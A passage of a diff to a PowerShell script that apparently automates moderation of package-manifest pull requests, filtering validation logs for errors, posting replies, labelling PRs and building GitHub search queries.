Remove-Item $ZipPath - if ($CleanoutDirectory) { - Get-ChildItem $DestinationPath | Remove-Item -Recurse - } - $FileList = (Get-ChildItem $LogPath).FullName - } catch { - if ($BackoffSeconds -gt 60) { - $UserInput = "Build $BuildNumber not found." - } - $AddSeconds = Get-Random -min 1 -max 5 - $BackoffSeconds += $AddSeconds - Write-Host "Can't access $DestinationPath or a subfolder. Backing off another $AddSeconds seconds, for $BackoffSeconds total seconds." - sleep $BackoffSeconds - } - } - - [Array]$UserInput = $null - foreach ($File in $filelist) { - $UserInput += (Get-Content $File) -split $Enum.Char.LineBreak - } - $UserInput = $UserInput | Where-Object { - $_ -match '[[]FAIL[]]' -OR - $_ -match 'error' -OR - $_ -match 'exception' -OR - $_ -match 'exit code' -OR - $_ -match 'fail' -OR - $_ -match 'manual review' -OR - $_ -match 'No suitable' -OR - $_ -match 'not supported' -OR #not supported by this processor type - #$_ -match 'not applicable' -OR - $_ -match 'unwanted' -OR #PUA - $_ -match 'Unable to locate nested installer' -OR - $_ -match 'space' -OR - $_ -match 'cannot install' - } - if ($WhatIf) { - Write-Host "File $File - UserInput $UserInput Length $($UserInput.Length)" - } - $UserInput = $UserInput | Select-Object -Unique; #-split $Enum.Char.LineBreak - $UserInput = $UserInput -replace "Standard error: ",$null - $UserReplace = $UserInput -replace "\\","\\" -replace "\[","\[" -replace "\]","\]" -replace "\*","\*" -replace "\+","\+" -replace "\s",$Enum.Char.Blank -join $Enum.Char.Blank - [bool]$isnotnull = ($null -notmatch $UserReplace) - if ($WhatIf) { - Write-Host "UserReplace 1 $UserReplace - notmatch null $isnotnull (true is populated, false is null)" - } - - if ($isnotnull) { - if (($UserInput -match "Installer failed security check") -OR ($UserInput -match "Operation did not complete successfully because the file contains a virus or potentially unwanted software")) { - $LowerOps = $false - #$UserInput = Get-AutomatedErrorAnalysis $UserInput - Write-Host "DefenderFail - UserInput $UserInput" - } - if ($UserInput -match "SQL error or missing database") { - Get-GitHubPreset Retry -PR $PR - if (!($Silent)) { - Write-Output "PR $PR - SQL error or missing database" - } - Open-PRInBrowser -PR $PR - } - - # $UserInput = $UserInput -split $Enum.Char.LineBreak - $UserInput = $UserInput -notmatch " success or error status`: 0" - $UserInput = $UserInput -notmatch "``Windows Error Reporting``" - $UserInput = $UserInput -notmatch "--- End of inner exception stack trace ---" - $UserInput = $UserInput -notmatch "2: 3: Error" - $UserInput = $UserInput -notmatch "Property\(S\)" - $UserInput = $UserInput -notmatch "AppInstallerRepositoryCore" - $UserInput = $UserInput -notmatch "api-ms-win-core-errorhandling" - $UserInput = $UserInput -notmatch "appropriate application package" - $UserInput = $UserInput -notmatch "because the current user does not have that package installed" - $UserInput = $UserInput -notmatch "Cannot create a file when that file already exists" - $UserInput = $UserInput -notmatch "Could not create system restore point" - $UserInput = $UserInput -notmatch "Dest filename" - $UserInput = $UserInput -notmatch "DismHost" - $UserInput = $UserInput -notmatch "Element not found" - $UserInput = $UserInput -notmatch "Error occurred while trying to capture screenshot" - $UserInput = $UserInput -notmatch "Exception during executable launch operation System.InvalidOperationException: No process is associated with this object." - $UserInput = $UserInput -notmatch "exception thrown when getting" - $UserInput = $UserInput -notmatch "Exit code`: 0" - $UserInput = $UserInput -notmatch "Failed to open available source: msstore" - $UserInput = $UserInput -notmatch "GetLastError@kernel32.dll" - $UserInput = $UserInput -notmatch "IconContent" - $UserInput = $UserInput -notmatch "ISWEBVIEW2INSTALLED" - $UserInput = $UserInput -notmatch "MpCmdRun" - $UserInput = $UserInput -notmatch "ResultException" - $UserInput = $UserInput -notmatch "SchedNetFx" - $UserInput = $UserInput -notmatch "Setting error JSON 1.0 fields" - $UserInput = $UserInput -notmatch "Signature Update Failed" - $UserInput = $UserInput -notmatch "Terminating context" - $UserInput = $UserInput -notmatch "The process cannot access the file because it is being used by another process" - $UserInput = $UserInput -notmatch "The FileSystemWatcher has detected an error System.IO.ErrorEventArgs" - $UserInput = $UserInput -notmatch "ThrowIfExceptional" - $UserInput = $UserInput -notmatch "Windows Installer installed the product" - $UserInput = $UserInput -notmatch "with working directory 'D" - }#end if isnotnull - - $UserReplace = $UserInput -replace "\\","\\" -replace "\[","\[" -replace "\]","\]" -replace "\*","\*" -replace "\+","\+" -replace "\s",$Enum.Char.Blank -join $Enum.Char.Blank - - [bool]$isnotnull = ($null -notmatch $UserReplace) - # [bool]$isnotnull = (($UserReplace.Length -gt $Enum.Num.Ten) && ($UserReplace.gettype().name -eq $Enum.PSDataTypes.String)) - if ($WhatIf) {Write-Host "UserReplace 2 $UserReplace - notmatch null $isnotnull (true is populated, false is null)"} - if ($isnotnull) { - # if (!($isnotnull)) { - $UserInput = $UserInput | Select-Object -Unique - - #$UserInput = $UserInput -replace " -",$null #What was this for again? - if ($WhatIf) { - Write-Host "WhatIf: Reply-ToPR (A) -PR $PR -UserInput $($UserInput -join `"`n> `") -CannedMessage AutoValEnd" - Write-Host "WhatIf: UserInput Length $($UserInput.Length)" - $out = Reply-ToPR -PR $PR -UserInput ($UserInput -join $Enum.Char.LineBreakMDQuote) -CannedMessage $Enum.CannedMessages.AutoValEnd -WhatIf - } else { - $out = Reply-ToPR -PR $PR -UserInput ($UserInput -join $Enum.Char.LineBreakMDQuote) -CannedMessage $Enum.CannedMessages.AutoValEnd -Automated - } - - if ($LowerOps -eq $true) { - $SplitInput = ($UserInput -split $Enum.Char.LineBreak ) - foreach ($input in $Enum.QueueInputs) { - if($SplitInput -match $input) { - if ($WhatIf) { - Write-Host "WhatIf: Add-PRToQueue -PR $PR" - } else { - Add-PRToQueue -PR $PR - } - - } - } - $exitregex = "exit code: [0-9]{0,3}$" - $exitregex2 = "exit code: [0-9]{4,}$" - $exitregex3 = "exit code: -[0-9]{4,}$" - if(!(($UserInput -split $Enum.Char.LineBreak ) -match $exitregex2)) { #4 digits bad - if(!(($UserInput -split $Enum.Char.LineBreak ) -match $exitregex3)) { #4 digits bad - if(($UserInput -split $Enum.Char.LineBreak ) -match $exitregex) { #1-3 digits good - if ($WhatIf) { - Write-Host "WhatIf: Get-CompletePR -PR $PR (A)" - } else { - Get-CompletePR -PR $PR - } - } - if ($WhatIf) { - Write-Host "WhatIf: exit regex3 4 digits bad(A)" - } - } - if ($WhatIf) { - Write-Host "WhatIf: exit regex2 4 digits bad (A)" - } - } - }#end If LowerOps - - if (!($Silent)) { - if ($WhatIf) { - Write-Host "WhatIf: Write-Host 'PR: $PR - $out'" - } else { - Write-Host "PR: $PR - $out" - } - } - } else { - if ($IsZipPath) { - $UserInput = $Enum.Strings.NoErrorsToPost - $Title = ((Invoke-GitHubPRRequest -PR $PR -Type $Enum.Char.Blank -Output $Enum.PRRequestOutput.Content -JSON).title); - if ($WhatIf) { - Write-Host "WhatIf: Reply-ToPR (B) -PR $PR -UserInput $UserInput -CannedMessage AutoValEnd" - $out = Reply-ToPR -PR $PR -UserInput $UserInput -CannedMessage $Enum.CannedMessages.AutoValEnd -WhatIf - Write-Host "WhatIf: Get-CompletePR -PR $PR (B)" - Write-Host "WhatIf: Get-GitHubPreset -PR $PR Waiver" - Write-Host "WhatIf: UserInput Length $($UserInput.Length)" - } else { - $out = Reply-ToPR -PR $PR -UserInput $UserInput -CannedMessage $Enum.CannedMessages.AutoValEnd -Automated - Get-CompletePR -PR $PR - foreach ($Waiver in $WaiverList) { - if ($Title -match $Waiver.PackageIdentifier) { - Get-GitHubPreset -PR $PR Waiver - }#end if title - }#end foreach waiver - }#end if WhatIf - }#end if ZipPath - }#end if isnotnull - } else { - if (!($Silent)) { - if ($WhatIf) { - Write-Host "WhatIf: Reply-ToPR (C) -PR $PR -UserInput $UserInput -CannedMessage AutoValEnd" - $out = Reply-ToPR -PR $PR -UserInput $UserInput -CannedMessage $Enum.CannedMessages.AutoValEnd -WhatIf - Write-Host "WhatIf: UserInput Length $($UserInput.Length)" - } else { - $out = Reply-ToPR -PR $PR -UserInput $UserInput -CannedMessage $Enum.CannedMessages.AutoValEnd -Automated - } - if ($WhatIf) { - Write-Host "WhatIf: Reply-ToPR (D) -PR $PR -UserInput $UserInput -CannedMessage AutoValEnd" - $out = Reply-ToPR -PR $PR -UserInput $UserInput -CannedMessage $Enum.CannedMessages.AutoValEnd -WhatIf - } else { - $out = Reply-ToPR -PR $PR -UserInput $UserInput -CannedMessage $Enum.CannedMessages.AutoValEnd -Automated - } - $UserInput = "`Build $BuildNumber not found." - Write-Host $UserInput - if ($WhatIf) { - Write-Host "WhatIf: Reply-ToPR (E) -PR $PR -UserInput $UserInput -CannedMessage AutoValEnd" - $out = Reply-ToPR -PR $PR -UserInput $UserInput -CannedMessage $Enum.CannedMessages.AutoValEnd -WhatIf - } else { - $out = Reply-ToPR -PR $PR -UserInput $UserInput -CannedMessage $Enum.CannedMessages.AutoValEnd -Automated - }#end if WhatIf - }#end if not silent - }#end if BuildNumber - - return $out - }#end if Last Prevalidation was 8 hours ago. -} - -#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ -################################ - GitHub - ################################# -#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ -#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -Function Invoke-Commits { - Param( - [Parameter(ValueFromPipeline)][int]$PR, - [string]$Type = "commits" - ) - Process { - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Invoke-Commits $PR"}; - $Commits = Invoke-GitHubRequest "$GitHubApiBaseUrl/pulls/$PR/$Type" -JSON - $Commits - } -} - -Function Invoke-GitHubPRRequest { - Param( - [Parameter(ValueFromPipeline)][int]$PR, - [int]$PR2 = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR), - [ValidateScript( { $_ -in (Get-Keys $Enum.PRRequestMethods)} )][string]$Method = $Enum.PRRequestMethods.Get, - [ValidateScript( { $_ -in (Get-Values $Enum.PRRequestTypes)} )][string]$Type = $Enum.PRRequestTypes.Labels, - [string]$Data, - [ValidateScript( { $_ -in (Get-Keys $Enum.PRRequestPaths)} )][string]$Path = $Enum.PRRequestPaths.Issues, - [ValidateScript( { $_ -in (Get-Keys $Enum.PRRequestOutput)} )][string]$Output = $Enum.PRRequestOutput.StatusDescription, - [switch]$LastPage, - [switch]$JSON, - [switch]$WhatIf, - $PRCommits = (Invoke-Commits -PR $PR2), - $commit = (($PRCommits.commit.url -split $Enum.Char.Slash)[$Enum.Index.Last]) - ) - $PR = $PR2 - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Invoke-GitHubPRRequest $PR2"}; - $Response = @{} - $ResponseType = $Type - $uri = "$GitHubApiBaseUrl/$Path/$PR/$Type" - - if (($Type -eq $Enum.PRRequestTypes.Blank) -OR ($Type -eq $Enum.PRRequestTypes.Files) -OR ($Type -eq $Enum.PRRequestTypes.Reviews)){ - $Path = $Enum.PRRequestPaths.Pulls - $uri = "$GitHubApiBaseUrl/$Path/$PR/$Type" - } elseif ($Type -eq $Enum.PRRequestTypes.Comments) { - $Response.body += $Data - } elseif ($Type -eq $Enum.PRRequestTypes.Commits) { - $uri = "$GitHubApiBaseUrl/$Type/$commit" - } elseif ($Type -eq $Enum.PRRequestTypes.Merge) { - $Path = $Enum.PRRequestPaths.Pulls - } elseif ($Type -eq $Enum.PRRequestTypes.Reviews) { - $Path = $Enum.PRRequestPaths.Pulls - $Response.body = $Enum.Char.Blank + $Data - $Response.commit = $commit - $Response.event = "APPROVE" - } elseif ($Type -eq $Enum.Char.Blank) { - #$Response.title = $Enum.Char.Blank - #$Response.body = $Enum.Char.Blank - $Response.state = $Enum.PRStates.Closed - $Response.base = $Enum.Strings.PrimaryFork - } else { - $Response.$ResponseType = @() - $Response.$ResponseType += $Data - } - - $uri = $uri -replace "/$",$Enum.Char.Blank - - if ($LastPage) { - $uri += "?per_page=100&filter=latest" - } - if ($Method -eq $Enum.PRRequestMethods.Get) { - if ($WhatIf) { - "Invoke-GitHubRequest -Method $Method -Uri $uri" - } else { - $out = Invoke-GitHubRequest -Method $Method -Uri $uri -#$uri = "$GitHubApiBaseUrl/$Path/$PR/$Type" -#$uri = "$GitHubApiBaseUrl/commits/$headSha/check-runs?per_page=100&filter=latest" - - } - } else { - [string]$Body = $Response | ConvertTo-Json - $out = Invoke-GitHubRequest -Method $Method -Uri $uri -Body $Body - } - - if (($JSON) -OR ($Output -eq $Enum.PRRequestOutput.Content)) { - if ($null -ne $out.$Output) { - try { - $out.$Output | ConvertFrom-Json - }catch{ - return ("PR: $PR - Error: $($error[$Enum.Index.First].ToString()) - Url $uri - Body: $Body") - } - } elseif ($Output -eq $Enum.PRRequestOutput.Silent ) { - } else { - $out.$Output - } - } else { - return "!" #"PR: $PR - No output. Method: $Method - URI: $uri" - #return ("PR: $PR - Error: $($error[$Enum.Index.First].ToString()) - Url $uri - Body: $Body") - } -} - -Function Get-UpdateSource { - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-UpdateSource Start"}; - # $GhRlRemain = ((Get-GitHubRateLimit) | where {$_.source -match $Enum.GitHubRateLimit.Unlogged}).remaining - # Param( - # ) - # if ($GhRlRemain -gt 0) { - # $DataSource = $Enum.PRWatchDataSource.GitHub - # } else { - # $DataSource = $Enum.PRWatchDataSource.WinGet - # } -} - -Function Get-SyncFork { - Param( - [string]$SyncUserName = $Enum.GitHubUserNames.GitHubUserName, - [string]$SyncRepo = $repo, - [string]$SyncFork = $Enum.Strings.PrimaryFork, - [string]$Uri = "https://api.github.com/repos/$SyncUserName/$SyncRepo/merge-upstream", - [string]$Body = "{`"branch`":`"$SyncFork`"}" - ) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-SyncFork Start"}; - $out = (Invoke-GitHubRequest -Uri $Uri -Body $Body -Method $Enum.PRRequestMethods.Post).content | ConvertFrom-Json - return $out -} - -Function Get-GitHubRateLimit { - Param( - [string]$Url = "https://api.github.com/rate_limit" - ) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-GitHubRateLimit $Url"}; - (Get-Date)#Time, as a number, constantly increases. So the future is always greater than the present, which is always greater than the past. - $Response = Invoke-WebRequest -Uri $Url -ProgressAction SilentlyContinue - $Content = $Response.content | ConvertFrom-Json; - $Content.rate | Select-Object @{n = $Enum.GitHubRateLimit.Source; e = {$Enum.GitHubRateLimit.Unlogged}}, limit, used, remaining, @{n = $Enum.GitHubRateLimit.Reset; e = {([System.DateTimeOffset]::FromUnixTimeSeconds($_.reset)).DateTime.AddHours(-8)}} - $Response = invoke-GitHubRequest -Uri $Url -JSON; - $Response.rate | Select-Object @{n = $Enum.GitHubRateLimit.Source; e = {$Enum.GitHubRateLimit.Logged}}, limit, used, remaining, @{n = $Enum.GitHubRateLimit.Reset; e = {([System.DateTimeOffset]::FromUnixTimeSeconds($_.reset)).DateTime.AddHours(-8)}} -} - -Function Get-GitHubTimeout { - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-GitHubTimeout Start"}; - $GitHubRateLimit = Get-GitHubRateLimit - $starttime = get-date $GitHubRateLimit[$Enum.Index.First] - $UsedCalls = ($GitHubRateLimit)[$Enum.Num.Two].used - $Limit = ($GitHubRateLimit)[$Enum.Num.Two].limit - while ($UsedCalls -ge $Limit) { - $GitHubRateLimit = Get-GitHubRateLimit - $UsedCalls = $GitHubRateLimit[$Enum.Num.Two].used - $endtime = get-date $GitHubRateLimit[$Enum.Num.Two].reset - $timeleft = $endtime - (Get-Date) - $totaltime = $endtime - $starttime - $pct = (1 - ($timeleft.TotalSeconds / $totaltime.TotalSeconds)) * 100 - $OutputTime = (get-date $endtime -f s) -replace $Enum.Char.T," - " - Write-Progress -Activity "Waiting until $OutputTime for API rate limit cooldown." -Status "$($timeleft.TotalSeconds) seconds remaining." -PercentComplete $pct - } -} - -Function Get-FileFromGitHub { - Param( - [string]$PackageIdentifier, - [string]$PI = (Get-SchemaCheck -InputData $PackageIdentifier -SchemaInfo $schemaData.installer.definitions.PackageIdentifier), - [string]$Version, - [string]$Suffix = $Enum.ManifestFileTypes.installeryaml, - [string]$Path = ($PI -replace "[.]",$Enum.Char.Slash), - [string]$FirstLetter = ($PI[$Enum.Index.First].tostring().tolower()) - ) - $PackageIdentifier = $PI - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-FileFromGitHub $PackageIdentifier"}; - Write-Host "$($MyInvocation.MyCommand.name) $PR" - try{ - $content = (Invoke-GitHubRequest -Uri "$GitHubContentBaseUrl/master/manifests/$FirstLetter/$Path/$Version/$PackageIdentifier.$Suffix").content - }catch{ - $content = "Error $GitHubContentBaseUrl/master/manifests/$FirstLetter/$Path/$Version/$PackageIdentifier.$Suffix not found." - } - return ($content -split $Enum.Char.LineBreak) -} - -Function Get-SearchGitHub { - Param( - [ValidateScript( { $_ -in (Get-Keys $Enum.SearchPresets)} )][string[]]$Preset = $Enum.SearchPresets.Approval, - [string]$Url = "https://api.github.com/search/issues?page=$Page&q=", - [string]$SearchString, - [string]$Author, #wingetbot - [string]$Commenter, #wingetbot - [string]$Title, - [string]$ExcludeTitle, - [string]$Label, - [int]$Page = $Enum.Num.One, - [int]$DaysAgo, - [Switch]$Browser, - [Switch]$BMM, - [Switch]$NewPackages, - [Switch]$nBMM, - [Switch]$IEDS, - [Switch]$NotWorked, - [Switch]$NoLabels, - [Switch]$AllowClosedPRs - ) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-SearchGitHub $Url"}; - if ($Browser) { - $Url = "$GitHubBaseUrl/pulls?page=$Page&q=" - } - #Base settings - $Base = "repo:$Owner/$Repo+" - $Base = $Base + $Enum.SearchTerms.IsPR - if (!($AllowClosedPRs)) { - $Base += $Enum.SearchTerms.IsOpen - } - $Base += $Enum.SearchTerms.DraftFalse - $Base += $Enum.SearchTerms.SortAsc - - #Smaller blocks - $date = Get-Date (Get-Date).AddDays(-$DaysAgo) -Format $Enum.Strings.Timestamp - # $Url += $Enum.Strings.Label+$Enum.PRLabels.PD+$Enum.Char.Plus;#dupe - $Defender = "label:$($Enum.PRLabels.VDE)+" - $HaventWorked = "-commenter:$($Enum.GitHubUserNames.GitHubUserName)+" - $HVR = "label:$($Enum.PRLabels.HVR)+" - $IEDSLabel = "label:$($Enum.PRLabels.IEDS)+" - $IEM = "label:$($Enum.PRLabels.IEM)+" - $LVR = "label:$($Enum.PRLabels.LVR)+" - $MA = "label:$($Enum.PRLabels.MA)+" - $MMC = "label:$($Enum.PRLabels.MMC)+" - $NA = "label:$($Enum.PRLabels.NA)+" - $NAF = "label:$($Enum.PRLabels.NAF)+" - $NotPass = "-label:$($Enum.PRLabels.APP)+"#Hasn't psased pipelines - $Recent = "updated:>$($date)+" - $VC = "label:$($Enum.PRLabels.VC)+"#Completed - $VD = "label:$($Enum.PRLabels.VD)+" - $VSA = "label:$($Enum.PRLabels.VSA)+" - - $nBI = "-label:$($Enum.PRLabels.BI)+" - $nHW = "-label:Hardware+" - $nHVR = $Enum.Char.Dash + $HVR + $Enum.Char.Plus - $nIEDS = $Enum.Char.Dash + $IEDSLabel + $Enum.Char.Plus - $nIEDS = $Enum.Char.Dash + $IEDSLabel + $Enum.Char.Plus - $nMA = $Enum.Char.Dash + $MA + $Enum.Char.Plus - $NMM = "label:$($Enum.PRLabels.NMM)+" - $nMMC = $Enum.Char.Dash + $MMC + $Enum.Char.Plus - $nNA = $Enum.Char.Dash + $NA + $Enum.Char.Plus - $nNP = "-label:$($Enum.PRLabels.NP)+" - $nNRA = "-label:$($Enum.PRLabels.IOD)+" - $nNRA = "-label:$($Enum.PRLabels.IOI)+" - $nNRA = "-label:$($Enum.PRLabels.NRA)+" - $nNSA = "-label:$($Enum.PRLabels.NSA)+" - $nVC = $Enum.Char.Dash + $VC #Not Completed - - - #Building block settings - $Blocking = $nHW - $Blocking += $nNSA - $Blocking += "-label:$($Enum.PRLabels.AGR)+" - $Blocking += "-label:$($Enum.PRLabels.DI)+" - $Blocking += "-label:$($Enum.PRLabels.LBI)+" - $Blocking += "-label:$($Enum.PRLabels.NB)+" - $Blocking += "-label:$($Enum.PRLabels.PF)+" - $Blocking += "-label:$($Enum.PRLabels.RB)+" - $Blocking += "-label:$($Enum.PRLabels.SA)+" - - $Common = $nBI - $Common = $Common+$Enum.Char.Dash + $IEM - $Common = $Common+$Enum.Char.Dash + $Defender - - $Cna = $VC - $Cna = $Cna + $nMA - - $Review1 = "-label:$($Enum.PRLabels.CR)+" - $Review1 += "-label:$($Enum.PRLabels.CLA)+" - $Review1 += $nNRA - - $Review2 = $Enum.Char.Dash + $NA - $Review2 = $Review2 + $Enum.Char.Dash + $NAF - $Review2 = $Review2 + "-label:$($Enum.PRLabels.NR)+" - - $Approvable = "-label:$($Enum.PRLabels.VMC)+" - $Approvable += "-label:$($Enum.PRLabels.VER)+" - $Approvable += "-label:$($Enum.PRLabels.MIVE)+" - $Approvable += "-label:$($Enum.PRLabels.PD)+" - $Approvable += "-label:$($Enum.PRLabels.UF)+" - $Approvable += "-label:$($Enum.PRLabels.CLA)+" - - $Workable += "-label:$($Enum.PRLabels.LVR)+" - $Workable += "-label:$($Enum.PRLabels.HVR)+" - $Workable += "-label:$($Enum.PRLabels.VMC)+" - $Workable += "-label:$($Enum.PRLabels.BVE)+" - $Workable += "-label:$($Enum.PRLabels.UF)+" - $Workable += "-label:$($Enum.PRLabels.VCR)+" - $Workable += "-label:$($Enum.PRLabels.VSS)+" - - $PolicyTests = "-label:Policy-Test-1.1+"; - $PolicyTests += "-label:$($Enum.PRLabels.PT12)+" - $PolicyTests += "-label:Policy-Test-1.3+"; - $PolicyTests += "-label:Policy-Test-1.4+"; - $PolicyTests += "-label:Policy-Test-1.5+"; - $PolicyTests += "-label:Policy-Test-1.6+"; - $PolicyTests += "-label:Policy-Test-1.7+"; - $PolicyTests += "-label:Policy-Test-1.8+"; - $PolicyTests += "-label:Policy-Test-1.9+"; - $PolicyTests += "-label:Policy-Test-1.10+"; - $PolicyTests += "-label:Policy-Test-2.1+"; - $PolicyTests += "-label:Policy-Test-2.2+"; - $PolicyTests += "-label:$($Enum.PRLabels.PT23)+" - $PolicyTests += "-label:Policy-Test-2.4+"; - $PolicyTests += "-label:Policy-Test-2.5+"; - $PolicyTests += "-label:Policy-Test-2.6+"; - $PolicyTests += "-label:$($Enum.PRLabels.PT27)+" - $PolicyTests += "-label:Policy-Test-2.8+"; - $PolicyTests += "-label:Policy-Test-2.9+"; - $PolicyTests += "-label:Policy-Test-2.10+"; - $PolicyTests += "-label:Policy-Test-2.11+"; - $PolicyTests += "-label:Policy-Test-2.12+"; - - #Composite settings - $Set1 = $Blocking + $Common + $Review1 - $Set2 = $Set1 + $Review2 - $Url += $Base - if ($Author) { - $Url += "author:$($Author)+" - } - if ($Commenter) { - $Url += "commenter:$($Commenter)+" - } - if ($Days) { - $Url += $Recent - } - if ($IEDS) { - $Url += $nIEDS - } - if ($Label) { - $Url += "label:$($Label)+" - } - if ($NotWorked) { - $Url += $HaventWorked - } - if ($NewPackages) { - $Url += "label:New-Package+" - } - if ($Title) { - $Url += "$Title in:title+" - } - if ($BMM) { - $Url += "label:$($Enum.PRLabels.BMM)+" - } - if ($nBMM) { - $Url += "-label:$($Enum.PRLabels.BMM)+" - } - switch ($Preset) { - $Enum.SearchPresets.Approval { - $Url += $Cna - $Url += $nBI - $Url += $nBI - $Url += $Set2 #Blocking + Common + Review1 + Review2 - $Url += $Approvable - $Url += $Workable; - $Url += $nMMC; - } - $Enum.SearchPresets.Approval2 { - $Url += $Cna - $Url += $nNP - $Url += $nHVR - $Url += $Set2 #Blocking + Common + Review1 + Review2 - $Url += $Approvable - $Url += $Workable; - $Url += $nMMC; - } - $Enum.SearchPresets.Defender { - $Url += $Defender - } - $Enum.SearchPresets.Domain { - $Url += "label:$($Enum.PRLabels.VD)+" - } - $Enum.SearchPresets.Duplicate { - $Url += $Enum.Strings.Label+$Enum.PRLabels.PD+$Enum.Char.Plus;#dupe - $Url += $nNRA - } - $Enum.SearchPresets.Autowaiver { - $Url += $Set1 - $Url += $Workable - $Url += $nIEDS - $Url += $nVC - $Url += "label:$($Enum.PRLabels.EHM)+" - $Url += "label:$($Enum.PRLabels.MIVE)+" - $Url += "label:$($Enum.PRLabels.MVE)+" - $Url += "label:$($Enum.PRLabels.VEE)+" - $Url += "label:$($Enum.PRLabels.VNE)+" - $Url += "label:$($Enum.PRLabels.VIE)+" - $Url += "label:$($Enum.PRLabels.VSE)+" - $Url += "label:$($Enum.PRLabels.VUF)+" - $Url += "label:$($Enum.PRLabels.ANF)+" - $Url += $nBI - $Url += $nIOD - $Url += $nIOI - } - $Enum.SearchPresets.IEDS { - $Url += $IEDSLabel - $Url += $nBI - $Url += $Blocking - $Url += $NotPass - $Url += $nVC - } - $Enum.SearchPresets.HVR { - $date = Get-Date (Get-Date).AddDays(-7) -Format $Enum.Strings.Timestamp - $createdDate = "created:<$($date)+" - $Url += $createdDate; - $Url += $HVR; - } - $Enum.SearchPresets.LVR { - $date = Get-Date (Get-Date).AddDays(-7) -Format $Enum.Strings.Timestamp - $createdDate = "created:<$($date)+" - $Url += $createdDate; - $Url += $LVR; - } - $Enum.SearchPresets.MMC { - $Url += $MMC; - } - $Enum.SearchPresets.NMM { - $Url += $NMM; - } - $Enum.SearchPresets.NoLabels { - $Url += "-commenter:wingetbot+" - $Url += "-label:$($Enum.PRLabels.NA)+" - $Url += "-label:$($Enum.PRLabels.UF)+" - $Url += "-label:$($Enum.PRLabels.PF)+" - } - $Enum.SearchPresets.None { - } - $Enum.SearchPresets.ToWork { - $Url += $Set1 #Blocking + Common + Review1 - $Url += $Workable; - #$Url += $Workable - } - $Enum.SearchPresets.ToWork2 { - $Url += $HaventWorked - $Url += $Enum.Char.Dash + $Defender - $Url += $Set1 #Blocking + Common + Review1 - $Url += $nVC - } - $Enum.SearchPresets.ToWork3 { - $Url += $HaventWorked - $Url += $Enum.Char.Dash + $Defender - $Url += $Set1 #Blocking + Common + Review1 - $Url += $nVC - $Url += $nMA - $Url += $nNA - } - $Enum.SearchPresets.VCMA { - #$date = Get-Date (Get-Date).AddHours(-1) -Format $Enum.Strings.Timestamp - #$createdDate = "created:<$($date)+" - $Url += $createdDate; - $Url += $MA - $Url += $VC - $Url += $Set2 #Blocking + Common + Review1 + Review2 - $Url += $Approvable - $Url += $Workable; - $Url += $nMMC; - } - } - - if ($Browser) { - Start-Process $Url - } else { - $Response = Invoke-GitHubRequest $Url - $Response = ($Response.Content | ConvertFrom-Json).items - #$Response = $Response | Where-Object {!(($_.labels.name -match $Enum.PRLabels.MA) -AND ($_.labels.name -match "Needs-Attention"))} - if ($ExcludeTitle) { - $Response = $Response | Where-Object {$_.title -notmatch $ExcludeTitle} - } - if (!($NoLabels)) { - $Response = $Response | where {$_.labels} - } - return $Response - } -} - -Function Get-ClaCheck { - Param( - [Parameter(ValueFromPipeline)][int]$PR, - $LabelName = $Enum.PRCheckLabels.LicenseCla, - [switch]$WhatIf - ) - $PR = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-ClaCheck $PR"}; - $Status = (Get-CheckData -PR $PR | where {$_.name -match $LabelName}).status - If ($WhatIf) {Write-Host "Status: $Status"} - switch ($Status) { - $Enum.PRCheckLabels.Queued { - If ($WhatIf) { - Write-Host "Add PRLabel -PR $PR -Label $($Enum.PRLabels.CLA)" - } else { - Get-AddPRLabel -PR $PR -Label $Enum.PRLabels.CLA - } - } - $Enum.PRCheckLabels.Completed { - If ($WhatIf) { - Write-Host "Remove PRLabel -PR $PR -Label $($Enum.PRLabels.CLA)" - } else { - Get-RemovePRLabel -PR $PR -Label $Enum.PRLabels.CLA - } - } - Default { - Write-Host "Invalid Status: $Status" - } - } -} - -#foreach ($page in (1..6)) {(get-searchGitHub -Preset approval -page $page).number | %{Get-CheckIfPackageIsNew $_}} -Function Get-CheckIfPackageIsNew { - Param( - [Parameter(ValueFromPipeline)][int]$PR, - [int]$PR2 = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR), - $PRCommits = (Get-CommitFile -PR $PR2), - [string[]]$InputData = ($PRCommits -split "`n" | Where {$_ -match $Enum.ManifestKeys.PackageIdentifier}), - [string]$PackageIdentifier = (Get-SchemaCheck -YamlValue $Enum.ManifestKeys.PackageIdentifier -SchemaInfo $schemaData.installer.definitions.PackageIdentifier -InputData $InputData[0]), - # [string]$PackageIdentifier = (Get-SchemaCheck -YamlValue $Enum.ManifestKeys.PackageIdentifier -SchemaInfo $schemaData.installer.definitions.PackageIdentifier -InputData $PRCommits), - $ManifestVersion = (Get-ManifestVersion -PackageIdentifier $PackageIdentifier) - ) - Process { - $PR = $PR2 - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-CheckIfPackageIsNew $PR2"}; - Write-Host "$($MyInvocation.MyCommand.name): PR $PR - PackageIdentifier: $PackageIdentifier - ManifestVersion $ManifestVersion" - if ($ManifestVersion) {#If any version data exists, then it's a New-Manifest. - Get-AddPRLabel -PR $PR -LabelName $Enum.PRLabels.NM - Get-RemovePRLabel -PR $PR -LabelName $Enum.PRLabels.NP - } else { - Get-AddPRLabel -PR $PR -LabelName 